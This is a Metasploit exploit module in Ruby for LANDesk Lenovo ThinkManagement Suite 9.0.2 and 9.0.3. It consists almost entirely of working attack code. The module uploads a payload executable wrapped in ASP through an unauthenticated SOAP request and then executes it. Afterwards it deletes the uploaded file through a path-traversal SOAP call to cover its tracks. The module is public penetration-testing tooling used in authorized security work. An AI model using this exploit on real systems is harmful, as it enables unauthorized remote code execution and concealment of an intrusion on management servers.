176 lines
5.3 KiB
Ruby
176 lines
5.3 KiB
Ruby
##
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# This module requires Metasploit: http://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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require 'msf/core'
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class MetasploitModule < Msf::Exploit::Remote
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Rank = ExcellentRanking
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include Msf::Exploit::Remote::HttpClient
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include Msf::Exploit::EXE
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def initialize
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super(
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'Name' => 'LANDesk Lenovo ThinkManagement Console Remote Command Execution',
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'Description' => %q{
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This module can be used to execute a payload on LANDesk Lenovo
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ThinkManagement Suite 9.0.2 and 9.0.3.
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The payload is uploaded as an ASP script by sending a specially crafted
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SOAP request to "/landesk/managementsuite/core/core.anonymous/ServerSetup.asmx"
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, via a "RunAMTCommand" operation with the command '-PutUpdateFileCore'
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as the argument.
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After execution, the ASP script with the payload is deleted by sending
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another specially crafted SOAP request to "WSVulnerabilityCore/VulCore.asmx"
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via a "SetTaskLogByFile" operation.
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},
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'Author' => [
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'Andrea Micalizzi', # aka rgod - Vulnerability Discovery and PoC
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'juan vazquez' # Metasploit module
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],
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'Platform' => 'win',
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'References' =>
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[
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['CVE', '2012-1195'],
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['CVE', '2012-1196'],
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['OSVDB', '79276'],
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['OSVDB', '79277'],
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['BID', '52023'],
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['EDB', '18622'],
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['EDB', '18623']
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],
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'Targets' =>
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[
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[ 'LANDesk Lenovo ThinkManagement Suite 9.0.2 / 9.0.3 / Microsoft Windows Server 2003 SP2', { } ],
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],
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'DefaultTarget' => 0,
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'Privileged' => false,
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'DisclosureDate' => 'Feb 15 2012'
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)
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register_options(
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[
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OptString.new('PATH', [ true, "The URI path of the LANDesk Lenovo ThinkManagement Console", '/'])
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], self.class)
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end
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def exploit
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peer = "#{rhost}:#{rport}"
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# Generate the ASP containing the EXE containing the payload
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exe = generate_payload_exe
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asp = Msf::Util::EXE.to_exe_asp(exe)
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# htmlentities like encoding
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asp = asp.gsub("&", "&").gsub("\"", """).gsub("'", "'").gsub("<", "<").gsub(">", ">")
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uri_path = (datastore['PATH'][-1,1] == "/" ? datastore['PATH'] : datastore['PATH'] + "/")
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upload_random = rand_text_alpha(rand(6) + 6)
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upload_xml_path = "ldlogon\\#{upload_random}.asp"
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soap = <<-eos
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<?xml version="1.0" encoding="utf-8"?>
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<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
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<soap:Body>
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<RunAMTCommand xmlns="http://tempuri.org/">
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<Command>-PutUpdateFileCore</Command>
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<Data1>#{rand_text_alpha(rand(4) + 4)}</Data1>
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<Data2>#{upload_xml_path}</Data2>
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<Data3>#{asp}</Data3>
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<ReturnString>#{rand_text_alpha(rand(4) + 4)}</ReturnString>
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</RunAMTCommand>
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</soap:Body>
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</soap:Envelope>
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eos
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#
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# UPLOAD
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#
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attack_url = uri_path + "landesk/managementsuite/core/core.anonymous/ServerSetup.asmx"
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print_status("Uploading #{asp.length} bytes through #{attack_url}...")
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res = send_request_cgi({
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'uri' => attack_url,
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'method' => 'POST',
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'ctype' => 'text/xml; charset=utf-8',
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'headers' => {
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'SOAPAction' => "\"http://tempuri.org/RunAMTCommand\"",
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},
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'data' => soap,
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}, 20)
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if (! res)
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print_status("Timeout: Trying to execute the payload anyway")
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elsif (res.code < 200 or res.code >= 300)
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print_error("Upload failed on #{attack_url} [#{res.code} #{res.message}]")
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return
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end
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#
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# EXECUTE
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#
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upload_path = uri_path + "ldlogon/#{upload_random}.asp"
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print_status("Executing #{upload_path}...")
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res = send_request_cgi({
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'uri' => upload_path,
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'method' => 'GET'
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}, 20)
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if (! res)
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print_error("Execution failed on #{upload_path} [No Response]")
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return
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end
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if (res.code < 200 or res.code >= 300)
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print_error("Execution failed on #{upload_path} [#{res.code} #{res.message}]")
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return
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end
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#
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# DELETE
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#
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soap = <<-eos
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<?xml version="1.0" encoding="utf-8"?>
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<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
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<soap:Body>
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<SetTaskLogByFile xmlns="http://tempuri.org/">
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<computerIdn>1</computerIdn>
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<taskid>1</taskid>
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<filename>../#{upload_random}.asp</filename>
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</SetTaskLogByFile>
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</soap:Body>
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</soap:Envelope>
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eos
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attack_url = uri_path + "WSVulnerabilityCore/VulCore.asmx"
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print_status("Deleting #{upload_path} through #{attack_url}...")
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res = send_request_cgi({
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'uri' => attack_url,
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'method' => 'POST',
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'ctype' => 'text/xml; charset=utf-8',
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'headers' => {
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'SOAPAction' => "\"http://tempuri.org/SetTaskLogByFile\"",
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},
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'data' => soap,
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}, 20)
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if (! res)
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print_error("Deletion failed at #{attack_url} [No Response]")
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return
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elsif (res.code < 200 or res.code >= 300)
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print_error("Deletion failed at #{attack_url} [#{res.code} #{res.message}]")
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return
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end
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handler
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end
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end
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